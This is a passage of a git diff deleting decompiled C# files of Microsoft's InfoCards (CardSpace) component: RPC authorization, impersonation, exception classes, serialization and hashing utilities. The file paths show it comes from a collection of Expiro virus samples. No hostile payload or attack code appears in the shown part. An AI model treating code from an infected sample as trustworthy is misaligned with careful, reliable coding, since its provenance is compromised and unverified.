Authorize(IntPtr rpcIfHandle, IntPtr context) - { - uint num = 5; - if (IntPtr.Zero == rpcIfHandle) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (rpcIfHandle)); - if (IntPtr.Zero == context) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (context)); - try - { - WindowsIdentity windowsIdentity = Utility.GetWindowsIdentity(context); - try - { - NativeMcppMethods.CheckSIDAgainstCurrentRpcUser((InfoCardUIAgent.FindByPid(Utility.GetRpcClientPid(context)) ?? throw InfoCardTrace.ThrowHelperError((Exception) new SecurityException())).TrustedUserSid); - num = 0U; - } - finally - { - windowsIdentity.Dispose(); - } - } - catch (SecurityException ex) - { - InfoCardTrace.Assert(5U == num, "Unexpected value for err!"); - } - catch (Exception ex) - { - InfoCardService.Crash(ex); - } - return num; - } - - public static void BindToService( - IntPtr uiagentRpcHandle, - IntPtr nativeDesktopName, - int cbUserSid, - IntPtr pUserSid, - int cbTrustedSid, - IntPtr pTrustedSid, - out IntPtr nativeStartEventHandle, - out IntPtr nativeCompleteEventHandle, - out RpcUIAgentGetWorkCallback callback) - { - string stringUni = Marshal.PtrToStringUni(nativeDesktopName); - callback = (RpcUIAgentGetWorkCallback) null; - nativeStartEventHandle = IntPtr.Zero; - nativeCompleteEventHandle = IntPtr.Zero; - using (WindowsIdentity windowsIdentity = Utility.GetWindowsIdentity(uiagentRpcHandle)) - { - WindowsImpersonationContext impersonationContext = windowsIdentity.Impersonate(); - try - { - uint pid; - if (NativeMethods.I_RpcBindingInqLocalClientPID(uiagentRpcHandle, out pid) != 0U) - throw InfoCardTrace.ThrowHelperError((Exception) new CommunicationException(SR.GetString("FailedToBindToService"))); - InfoCardUIAgent byPid = InfoCardUIAgent.FindByPid(pid); - if (byPid == null) - return; - SecurityIdentifier userSid; - SafeWaitHandle hStartEvent; - SafeWaitHandle hCompleteEvent; - callback = byPid.Bind(stringUni, out userSid, out hStartEvent, out hCompleteEvent); - byte[] numArray = new byte[Math.Max(cbUserSid, cbTrustedSid)]; - windowsIdentity.User.GetBinaryForm(numArray, 0); - Marshal.Copy(numArray, 0, pUserSid, cbUserSid); - userSid.GetBinaryForm(numArray, 0); - Marshal.Copy(numArray, 0, pTrustedSid, cbTrustedSid); - nativeStartEventHandle = hStartEvent.DangerousGetHandle(); - nativeCompleteEventHandle = hCompleteEvent.DangerousGetHandle(); - } - finally - { - impersonationContext.Undo(); - } - } - } - - public override WindowsIdentity RequestorIdentity => this.ParentRequest.RequestorIdentity; - - protected override void OnInitializeAsSystem() - { - try - { - NativeMcppMethods.CheckSIDAgainstCurrentRpcUser(this.ParentRequest.UIAgentLogonSid); - } - catch (Win32Exception ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new InfoCardArgumentException(SR.GetString("UnableToAuthenticateUIAgent"), (Exception) ex)); - } - catch (SecurityException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new InfoCardArgumentException(SR.GetString("UnableToAuthenticateUIAgent"), (Exception) ex)); - } - } - - protected InfoCardPolicy GetPolicy() => !(this.ParentRequest is GetTokenRequest parentRequest) ? (InfoCardPolicy) null : parentRequest.Policy; - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/UIEndRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/UIEndRequest.cs deleted file mode 100644 index 3e4b8ca1..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/UIEndRequest.cs +++ /dev/null @@ -1,30 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.UIEndRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using System; -using System.IO; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal class UIEndRequest : UIAgentRequest - { - private ClientUIRequest.RequestResult m_result; - - public UIEndRequest(IntPtr rpcHandle, Stream inArgs, Stream outArgs, ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - } - - protected override void OnMarshalInArgs() => this.m_result = (ClientUIRequest.RequestResult) new InfoCardBinaryReader(this.InArgs, Encoding.Unicode).ReadInt32(); - - protected override void OnProcess() => this.UIAgent.SetUIStatus(this.m_result); - - protected override void OnMarshalOutArgs() - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/UnlockCardRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/UnlockCardRequest.cs deleted file mode 100644 index cad7adb1..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/UnlockCardRequest.cs +++ /dev/null @@ -1,58 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.UnlockCardRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using System; -using System.Globalization; -using System.IO; - -namespace Microsoft.InfoCards -{ - internal class UnlockCardRequest : UIAgentRequest - { - private InfoCard m_card; - - public UnlockCardRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - } - - protected override void OnInitializeAsSystem() => base.OnInitializeAsSystem(); - - protected override void OnMarshalInArgs() => this.m_card = new InfoCard(this.InArgs); - - protected override void OnProcess() - { - StoreConnection connection = StoreConnection.GetConnection(); - try - { - this.m_card.Connection = connection; - this.m_card.GetMasterKey(connection); - this.m_card.Decrypt(); - } - finally - { - connection.Close(); - } - } - - protected override void OnMarshalOutArgs() - { - StoreConnection connection = StoreConnection.GetConnection(); - try - { - this.m_card.AgentSerialize(this.OutArgs, this.ParentRequest is GetTokenRequest, this.GetPolicy(), connection, new CultureInfo(this.ParentRequest.UserLanguage)); - } - finally - { - connection.Close(); - } - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/UnsupportedPolicyOptionsException.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/UnsupportedPolicyOptionsException.cs deleted file mode 100644 index e0149b30..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/UnsupportedPolicyOptionsException.cs +++ /dev/null @@ -1,36 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.UnsupportedPolicyOptionsException -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using System; -using System.Runtime.Serialization; - -namespace Microsoft.InfoCards -{ - internal class UnsupportedPolicyOptionsException : InfoCardBaseException - { - private const int HRESULT = -1073413866; - - public UnsupportedPolicyOptionsException() - : base(-1073413866) - { - } - - public UnsupportedPolicyOptionsException(string message) - : base(-1073413866, message) - { - } - - public UnsupportedPolicyOptionsException(string message, Exception inner) - : base(-1073413866, message, inner) - { - } - - protected UnsupportedPolicyOptionsException(SerializationInfo si, StreamingContext sc) - : base(-1073413866, si, sc) - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/UntrustedRecipientException.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/UntrustedRecipientException.cs deleted file mode 100644 index 5b68e536..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/UntrustedRecipientException.cs +++ /dev/null @@ -1,36 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.UntrustedRecipientException -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using System; -using System.Runtime.Serialization; - -namespace Microsoft.InfoCards -{ - internal class UntrustedRecipientException : InfoCardBaseException - { - private const int HRESULT = -1073413870; - - public UntrustedRecipientException() - : base(-1073413870) - { - } - - public UntrustedRecipientException(string message) - : base(-1073413870, message) - { - } - - public UntrustedRecipientException(string message, Exception inner) - : base(-1073413870, message, inner) - { - } - - protected UntrustedRecipientException(SerializationInfo si, StreamingContext sc) - : base(-1073413870, si, sc) - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/UserNameTokenFactoryCredential.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/UserNameTokenFactoryCredential.cs deleted file mode 100644 index de1e8887..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/UserNameTokenFactoryCredential.cs +++ /dev/null @@ -1,31 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.UserNameTokenFactoryCredential -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using System.IO; - -namespace Microsoft.InfoCards -{ - internal class UserNameTokenFactoryCredential : TokenFactoryCredential - { - private string m_userName; - private string m_password; - - public UserNameTokenFactoryCredential() - : base(TokenFactoryCredentialType.UserNamePasswordCredential) - { - } - - public string UserName => this.m_userName; - - public string Password => this.m_password; - - protected override void DeserializeData(BinaryReader reader) - { - this.m_userName = Utility.DeserializeString(reader); - this.m_password = Utility.DeserializeString(reader); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/UserPreference.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/UserPreference.cs deleted file mode 100644 index dabd0e94..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/UserPreference.cs +++ /dev/null @@ -1,93 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.UserPreference -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections.Generic; -using System.Globalization; -using System.IO; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal class UserPreference - { - private const byte Version = 1; - private const byte Marker = 29; - private const string Id = "urn:microsoft.com:infocards:user_prefs"; - private const int s_ATApplicationsDisabled = 0; - private int m_ATApplicationsFlags; - private bool m_showClaimsFlag; - - public UserPreference() - { - } - - public UserPreference(Stream stream) => this.Deserialize(stream); - - public void Serialize(Stream stream) - { - BinaryWriter binaryWriter = new BinaryWriter(stream, Encoding.Unicode); - binaryWriter.Write((byte) 1); - binaryWriter.Write(this.m_ATApplicationsFlags); - binaryWriter.Write(this.m_showClaimsFlag); - binaryWriter.Write((byte) 29); - } - - public void Deserialize(Stream stream) - { - BinaryReader binaryReader = (BinaryReader) new InfoCardBinaryReader(stream, Encoding.Unicode); - if ((byte) 1 != binaryReader.ReadByte()) - InfoCardTrace.Assert(false, "Incorrect version found in stream deserialization"); - this.m_ATApplicationsFlags = binaryReader.ReadInt32(); - this.m_showClaimsFlag = binaryReader.ReadBoolean(); - if ((byte) 29 == binaryReader.ReadByte()) - return; - InfoCardTrace.Assert(false, "malformed stream detected"); - } - - public void Save(StoreConnection con) - { - DataRow row = con.GetSingleRow(new QueryParameter("ix_objecttype", new object[1] - { - (object) -2 - }), new QueryParameter("ix_globalid", new object[1] - { - (object) GlobalId.DeriveFrom("urn:microsoft.com:infocards:user_prefs") - })); - if (row == null) - { - row = new DataRow(); - row.ObjectType = -2; - row.GlobalId = GlobalId.DeriveFrom("urn:microsoft.com:infocards:user_prefs"); - } - MemoryStream memoryStream = new MemoryStream(); - this.Serialize((Stream) memoryStream); - row.SetDataField(memoryStream.ToArray()); - con.Save(row); - } - - public override string ToString() - { - StringBuilder stringBuilder = new StringBuilder(); - stringBuilder.AppendFormat("Background Color:\t{0}\n", (object) this.m_ATApplicationsFlags.ToString((IFormatProvider) CultureInfo.InvariantCulture)); - stringBuilder.AppendFormat("List expansion flag:\t{0}\n", (object) this.m_showClaimsFlag.ToString()); - return stringBuilder.ToString(); - } - - public static UserPreference Get(StoreConnection con) - { - DataRow singleRow = con.GetSingleRow(new List() - { - new QueryParameter("ix_objecttype", new object[1] - { - (object) -2 - }) - }.ToArray()); - return singleRow != null ? new UserPreference((Stream) new MemoryStream(singleRow.GetDataField())) : (UserPreference) null; - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/Utility.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/Utility.cs deleted file mode 100644 index 42946964..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/Utility.cs +++ /dev/null @@ -1,450 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.Utility -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.InfoCards.Diagnostics; -using Microsoft.Win32.SafeHandles; -using System; -using System.Collections; -using System.Collections.Generic; -using System.Collections.ObjectModel; -using System.ComponentModel; -using System.Diagnostics; -using System.IdentityModel.Tokens; -using System.IO; -using System.Net; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Security.Cryptography; -using System.Security.Cryptography.X509Certificates; -using System.Security.Principal; -using System.ServiceModel; -using System.ServiceModel.Channels; -using System.ServiceModel.Description; -using System.Text; -using System.Threading; -using System.Xml; - -namespace Microsoft.InfoCards -{ - internal static class Utility - { - public static WindowsIdentity GetWindowsIdentity(IntPtr rpcBindingHandle) - { - InfoCardTrace.ThrowInvalidArgumentConditional(IntPtr.Zero == rpcBindingHandle, nameof (rpcBindingHandle)); - uint error = NativeMethods.RpcImpersonateClient(rpcBindingHandle); - if (error != 0U) - throw InfoCardTrace.ThrowHelperError((Exception) new CommunicationException(SR.GetString("ServiceInvalidCallerToken"), (Exception) new Win32Exception((int) error))); - try - { - return WindowsIdentity.GetCurrent(true); - } - finally - { - InfoCardTrace.Assert(0U == NativeMethods.RpcRevertToSelfEx(rpcBindingHandle), "rpcIdentity"); - } - } - - public static uint GetRpcClientPid(IntPtr rpcBindingHandle) - { - uint pid; - uint error = NativeMethods.I_RpcBindingInqLocalClientPID(rpcBindingHandle, out pid); - if (error != 0U) - throw InfoCardTrace.ThrowHelperError((Exception) new Win32Exception((int) error)); - return pid; - } - - public static void ClearUnsafeMemory(IntPtr ptr, int count) => NativeMethods.ZeroMemory(ptr, count); - - public static void ThrowIfProcessExited(SafeWaitHandle processHandle) - { - using (AutoResetEvent autoResetEvent = new AutoResetEvent(false)) - { - autoResetEvent.SafeWaitHandle = processHandle; - if (autoResetEvent.WaitOne(0, false)) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidOperationException(SR.GetString("ServiceProcessHasExited"))); - } - } - - public static void SerializeString(BinaryWriter writer, string str) - { - int num = 0; - if (string.IsNullOrEmpty(str)) - { - writer.Write(num); - } - else - { - writer.Write(str.Length); - writer.Write(str.ToCharArray()); - } - } - - public static void SerializeUri(BinaryWriter writer, Uri uri) - { - if ((Uri) null == uri) - Utility.SerializeString(writer, (string) null); - else - Utility.SerializeString(writer, uri.ToString()); - } - - public static void SerializeBytes(BinaryWriter writer, byte[] bytes) - { - int count = 0; - if (bytes != null) - count = bytes.Length; - Utility.SerializeBytes(writer, bytes, 0, count); - } - - public static void SerializeBytes( - BinaryWriter writer, - byte[] bytes, - int startOffset, - int count) - { - int num = 0; - if (bytes == null) - { - writer.Write(num); - } - else - { - writer.Write(count); - writer.Write(bytes, startOffset, count); - } - } - - public static string DeserializeString(BinaryReader reader) => new string(reader.ReadChars(reader.ReadInt32())); - - public static Uri DeserializeUri(BinaryReader reader) => new Uri(Utility.DeserializeString(reader)); - - public static bool CompareUri(string first, string second) - { - try - { - return Utility.CompareUri(new Uri(first), new Uri(second)); - } - catch (UriFormatException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new InfoCardArgumentException(SR.GetString("InvalidUriFormat"), (Exception) ex)); - } - } - - public static bool CompareUri(Uri first, Uri second) => first == second; - - public static bool ArrayIsNullOrEmpty(Array inArray) => inArray == null || inArray.Length == 0; - - public static SafeWaitHandle GetLocalHandleFromRemoteHandle( - SafeWaitHandle hRemote, - int remotePid) - { - SafeWaitHandle targetHandle; - using (new SystemIdentity(false)) - { - using (SafeNativeHandle sourceProcessHandle = NativeMethods.OpenProcess(64, false, remotePid)) - { - if (sourceProcessHandle == null || sourceProcessHandle.IsInvalid) - throw InfoCardTrace.ThrowHelperError((Exception) new Win32Exception(Marshal.GetLastWin32Error())); - if (!NativeMethods.DuplicateHandle(sourceProcessHandle, hRemote, new SafeNativeHandle(NativeMethods.GetCurrentProcess(), false), out targetHandle, 2, false, 0)) - { - int lastWin32Error = Marshal.GetLastWin32Error(); - InfoCardTrace.CloseInvalidOutSafeHandle((SafeHandle) targetHandle); - throw InfoCardTrace.ThrowHelperError((Exception) new Win32Exception(lastWin32Error)); - } - } - } - return targetHandle; - } - - public static SafeWaitHandle GetRemoteHandleFromLocalHandle( - SafeWaitHandle hLocal, - Process remoteProcess) - { - SafeWaitHandle targetHandle = (SafeWaitHandle) null; - using (new SystemIdentity(false)) - { - try - { - if (!NativeMethods.DuplicateHandle(new SafeNativeHandle(NativeMethods.GetCurrentProcess(), false), hLocal, new SafeNativeHandle(remoteProcess.Handle, false), out targetHandle, 1048578, false, 0)) - throw InfoCardTrace.ThrowHelperError((Exception) new Win32Exception(Marshal.GetLastWin32Error())); - bool success = false; - targetHandle.DangerousAddRef(ref success); - } - catch (Exception ex) - { - if (InfoCardTrace.IsFatal(ex)) - throw; - } - } - return targetHandle; - } - - public static SafeJobHandle CreateJobObjectWithSdHelper(string trustedUserSid) - { - SafeJobHandle objectWithSdHelper = new SafeJobHandle(); - RuntimeHelpers.PrepareConstrainedRegions(); - try - { - } - finally - { - IntPtr zero = IntPtr.Zero; - uint jobObjectWithSd = NativeMcppMethods.CreateJobObjectWithSD(ref zero, trustedUserSid); - if (jobObjectWithSd != 0U) - throw InfoCardTrace.ThrowHelperError((Exception) new Win32Exception((int) jobObjectWithSd)); - objectWithSdHelper.UpdateHandle(zero); - } - return objectWithSdHelper; - } - - public static IntPtr ReadHandle(BinaryReader br) - { - IntPtr zero = IntPtr.Zero; - return 4 != IntPtr.Size ? (IntPtr) br.ReadInt64() : (IntPtr) br.ReadInt32(); - } - - public static byte[] CreateHash(byte[] firstArray, Uri cardId) - { - using (SHA256 shA256 = (SHA256) new SHA256Managed()) - { - byte[] hash = shA256.ComputeHash(Encoding.Unicode.GetBytes(cardId.ToString())); - byte[] numArray = new byte[firstArray.Length + hash.Length]; - Array.Copy((Array) firstArray, 0, (Array) numArray, 0, firstArray.Length); - Array.Copy((Array) hash, 0, (Array) numArray, firstArray.Length, hash.Length); - return shA256.ComputeHash(numArray); - } - } - - public static byte[] CreateHash(byte[] firstArray, byte[] secondArray, byte[] thirdArray) - { - byte[] numArray = new byte[firstArray.Length + secondArray.Length + thirdArray.Length]; - Array.Copy((Array) firstArray, 0, (Array) numArray, 0, firstArray.Length); - Array.Copy((Array) secondArray, 0, (Array) numArray, firstArray.Length, secondArray.Length); - Array.Copy((Array) thirdArray, 0, (Array) numArray, firstArray.Length + secondArray.Length, thirdArray.Length); - using (SHA256 shA256 = SHA256.Create()) - return shA256.ComputeHash(numArray); - } - - public static bool CompareByteArrays(byte[] arr1, byte[] arr2) - { - bool flag = true; - if (arr1 == null && arr2 == null) - return true; - if (arr1 == null || arr2 == null || arr1.Length != arr2.Length) - return false; - for (int index = 0; index < arr2.Length; ++index) - { - if ((int) arr1[index] != (int) arr2[index]) - { - flag = false; - break; - } - } - return flag; - } - - public static string ResolvePPID( - string input, - byte[] issuerIdentiferAsBytes, - StoreConnection connection) - { - string empty = string.Empty; - byte[] arr2 = Convert.FromBase64String(input); - ICollection collection = (ICollection) connection.Query(QueryDetails.FullRow, new List() - { - new QueryParameter("ix_objecttype", new object[1] - { - (object) 1 - }), - new QueryParameter("ix_production_svc_uri", new object[1] - { - (object) "http://schemas.xmlsoap.org/ws/2005/05/identity/issuer/self" - }) - }.ToArray()); - if (collection != null && collection.Count > 0) - { - foreach (DataRow dataRow in (IEnumerable) collection) - { - byte[] dataField = dataRow.GetDataField(); - try - { - using (MemoryStream memoryStream = new MemoryStream(dataField)) - { - InfoCard infoCard = new InfoCard((Stream) memoryStream); - if (Utility.CompareByteArrays(Utility.CreateHash(issuerIdentiferAsBytes, infoCard.Id), arr2)) - { - empty = infoCard.Id.ToString(); - break; - } - } - } - finally - { - Array.Clear((Array) dataField, 0, dataField.Length); - } - } - } - return empty; - } - - public static bool GetCertHAFlags( - X509Certificate2 certificate, - X509Certificate2Collection supportingCertificates, - ref Utility.SubjectAtrributeHAFlags certFlags) - { - int haFlags = 0; - X509Chain chain; - try - { - InfoCardX509Validator.ValidateChain(certificate, supportingCertificates, out chain); - } - catch (SecurityTokenValidationException ex) - { - InfoCardTrace.TraceAndLogException((Exception) ex); - return false; - } - InfoCardTrace.Assert(null != chain, "Should have been populated by ValidateChain"); - bool highAssuranceFlags = NativeMcppMethods.GetHighAssuranceFlags(chain.ChainContext, ref haFlags); - certFlags = (Utility.SubjectAtrributeHAFlags) haFlags; - return !highAssuranceFlags || Utility.IsSubjectAtrributeHAFlagsSet(certFlags, Utility.SubjectAtrributeHAFlags.Enabled) ? highAssuranceFlags : throw InfoCardTrace.ThrowHelperError((Exception) new UntrustedRecipientException(SR.GetString("InvalidHACertificateStructure"))); - } - - public static bool IsSubjectAtrributeHAFlagsSet( - Utility.SubjectAtrributeHAFlags currentValue, - Utility.SubjectAtrributeHAFlags testFlag) - { - return (testFlag & currentValue) == testFlag; - } - - public static int CalculateIncreaseByPercent( - int oldSize, - int alignToByteBoundary, - int percentIncrease) - { - uint uint32 = Convert.ToUInt32(alignToByteBoundary); - uint num = Convert.ToUInt32((1.0 + (double) percentIncrease / 100.0) * (double) oldSize); - if (num == 0U) - num = uint32; - else if (num % uint32 > 0U) - num += uint32 - num % uint32; - return Convert.ToInt32(num); - } - - public static string CreatePpid(byte[] certIdentifierAsBytes, Uri cardId) => Convert.ToBase64String(Utility.CreateHash(certIdentifierAsBytes, cardId)); - - public static EndpointAddress DeriveMexAddress(EndpointAddress epr) - { - EndpointAddress endpointAddress = (EndpointAddress) null; - try - { - if ((XmlReader) epr.GetReaderAtMetadata() != null) - { - foreach (MetadataSection metadataSection in MetadataSet.ReadFrom((XmlReader) epr.GetReaderAtMetadata()).MetadataSections) - { - if (metadataSection.Metadata is MetadataReference && (EndpointAddress) null != ((MetadataReference) metadataSection.Metadata).Address && string.Compare(((MetadataReference) metadataSection.Metadata).Address.Uri.Scheme, "https", StringComparison.OrdinalIgnoreCase) == 0) - { - endpointAddress = ((MetadataReference) metadataSection.Metadata).Address; - break; - } - } - } - } - catch (Exception ex) - { - if (InfoCardTrace.IsFatal(ex)) - throw; - } - return endpointAddress; - } - - public static XmlDictionaryReader CreateReaderWithQuotas(string root) - { - byte[] bytes = new UTF8Encoding().GetBytes(root); - return XmlDictionaryReader.CreateTextReader(bytes, 0, bytes.GetLength(0), (Encoding) null, InfoCardConstants.DefaultQuotas, (OnXmlDictionaryReaderClose) null); - } - - public static XmlDictionaryReader CreateReaderWithQuotas(Stream input) => XmlDictionaryReader.CreateTextReader(input, (Encoding) null, InfoCardConstants.DefaultQuotas, (OnXmlDictionaryReaderClose) null); - - public static MemoryStream ReadByteStreamFromBase64(XmlReader reader) - { - MemoryStream memoryStream = new MemoryStream(); - if (!reader.IsEmptyElement && reader.Read() && reader.NodeType != XmlNodeType.EndElement) - { - byte[] buffer = new byte[1024]; - int count; - while ((count = reader.ReadContentAsBase64(buffer, 0, buffer.Length)) > 0) - memoryStream.Write(buffer, 0, count); - memoryStream.Flush(); - memoryStream.Seek(0L, SeekOrigin.Begin); - } - return memoryStream; - } - - public static BindingElementCollection UpdateProxyForHttpAndRestrictTransportBinding( - BindingElementCollection source, - IWebProxy proxy, - bool turnOffClientAuthOnTransport) - { - InfoCardTrace.Assert(null != source, "Do not expect a null bindingElementCollection"); - if (source.Find() == null) - throw InfoCardTrace.ThrowHelperError((Exception) new UnsupportedPolicyOptionsException()); - BindingElementCollection elementCollection = HttpProxyTransportBindingElement.ReplaceHttpTransportWithProxy(source, proxy, turnOffClientAuthOnTransport); - TransportBindingElement transportBindingElement = elementCollection.Find(); - InfoCardTrace.Assert(null != transportBindingElement, "We ensured there is a TransportBindingElement at the start of this function"); - transportBindingElement.MaxReceivedMessageSize = (long) InfoCardConstants.MaximumMessageSize; - switch (transportBindingElement) - { - case TcpTransportBindingElement _: - case HttpProxyTransportBindingElement _: - if (turnOffClientAuthOnTransport) - { - Collection all = elementCollection.FindAll(); - InfoCardTrace.Assert(all != null && 1 >= all.Count, "Should not be null (even if empty) and there should be at most one StreamUpgradeBindingElement"); - foreach (StreamUpgradeBindingElement upgradeBindingElement in all) - { - if (!(upgradeBindingElement is SslStreamSecurityBindingElement)) - throw InfoCardTrace.ThrowHelperError((Exception) new UnsupportedPolicyOptionsException()); - } - } - return elementCollection; - default: - InfoCardTrace.Assert(null == transportBindingElement as HttpTransportBindingElement, "Http(s)TransportBindingElement should have been replaced by HttpProxyTransportBindingElement above"); - throw InfoCardTrace.ThrowHelperError((Exception) new UnsupportedPolicyOptionsException()); - } - } - - public static bool KillHelper(Process p) - { - bool flag = false; - if (!p.HasExited) - { - try - { - p.Kill(); - flag = true; - } - catch (InvalidOperationException ex) - { - } - catch (Win32Exception ex) - { - if (5 != ex.NativeErrorCode) - throw ex; - } - } - return flag; - } - - [System.Flags] - public enum SubjectAtrributeHAFlags - { - NotEnabled = 0, - Enabled = 1, - OrganizationHA = 2, - LocStateCountryHA = 4, - LogoHA = 8, - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/VerifyHashRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/VerifyHashRequest.cs deleted file mode 100644 index fdeaadb4..00000000 --- 